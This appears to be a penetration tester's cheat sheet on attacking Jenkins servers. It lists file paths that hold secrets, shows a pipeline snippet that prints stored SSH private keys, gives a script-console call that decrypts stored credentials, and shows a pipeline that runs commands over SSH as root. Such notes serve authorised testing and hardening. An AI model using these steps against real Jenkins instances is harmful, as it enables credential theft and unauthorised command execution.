Table of Contents
Summery
Jenkins is an open-source automation server written in Java that helps developers build and test their software projects continuously. It is a server-based system that runs in servlet containers such as Tomcat. Over the years, researchers have uncovered various vulnerabilities in Jenkins, including some that allow for remote code execution without requiring authentication.
Agents - Check for excessive permissions and credential exposure.
Pipelines - Inspect scripts for secrets and unsafe command execution.
When you enter Jenkins dashboard you can enumerate users through the “People” tab and possible credentials with the “Credentials” tab.
Exploitation
Files and directories
If you find yourself with rights to read Jenkins files - for example that’s to arbitrary file read thanks to a public exploit - you can enumerate them in search for credentials or other important data.
Default path to Jenkins on Linux is /var/jenkins_home/XYZ.
For Windows, I found it once in C:\Users\Administrator\.jenkins.
config.xml - Jenkins configuration
credentials.xml - Stored credential metadata. Might store a private key for the root user which can be decrypted.
/secrets/ - Encryption keys and secret material
/secrets/initialAdminPassword- Some Jenkins installs have a temporary admin password stored in cleartext
/users/- User configuration/users/users.xml- Check basic information about all user accounts/users/<USERNAME_IDENTIFIER>/config.xml- Check detailed data about a specific user’s configuration
/jobs/- Job configurations and build history
/workspace/- Build workspaces
/script/- Groovy script console, typically administrative
/login/- Authentication interface
/manage/- Administrative functions
SSH keys
Depending on your rights, you may be able to look for private SSH keys on Jenkins in different ways
Unauthenticated
- You can reach it from
credentials.xmlif you have access to them
Authenticated
- Inside of an entry from the “Credentials” page, if there is a section called “Conceal for Confidentiality” where the credentials or a key should be shown; there is chance that you can actually read it. If you go into the inspect mode on your browser and search for a div with a class “secret” you might find a base64 encrypted value of the said credential.
- From the main dashboard go to create a job -> pipe and add this PoC to get a SSH private key. This is based on this article, it also shows how to get access to other items, might require a considirate modifications to work properly.
node {
withCredentials([
sshUserPrivateKey(
credentialsId: '1',
keyFileVariable: 'keyFile')
]) {
sh 'cat ${keyFile}'
}
}
You will see output in Dashboard -> Build History -> Console Output (blue icon).
Decrypting encoded credentials
You can go to /script in Jenkins or simply go “Manage Jenkins” -> “Script Console” and enter println(hudson.util.Secret.decrypt("{XXX=}")) where Xs are the key your found.
Command execution
- When authenticated, from the main dashboard go to create a job -> pipe and add this PoC to test command execution (based on this article):
node {
sshagent (credentials: ["1"]) {
sh 'ssh -o StrictHostKeyChecking=no -l root 10.10.15.101 uname -a'
}
}
You will see output in Dashboard -> Build History -> Console Output (blue icon).
References
Further reads: Jenkins - Discovery & Enumeration, Attacking Jenkins
Handy tools: jenkins-cli - Interact with Jenkins
Jenkins documentation
HackTricks: Jenkins
A big list of Jenkins CVEs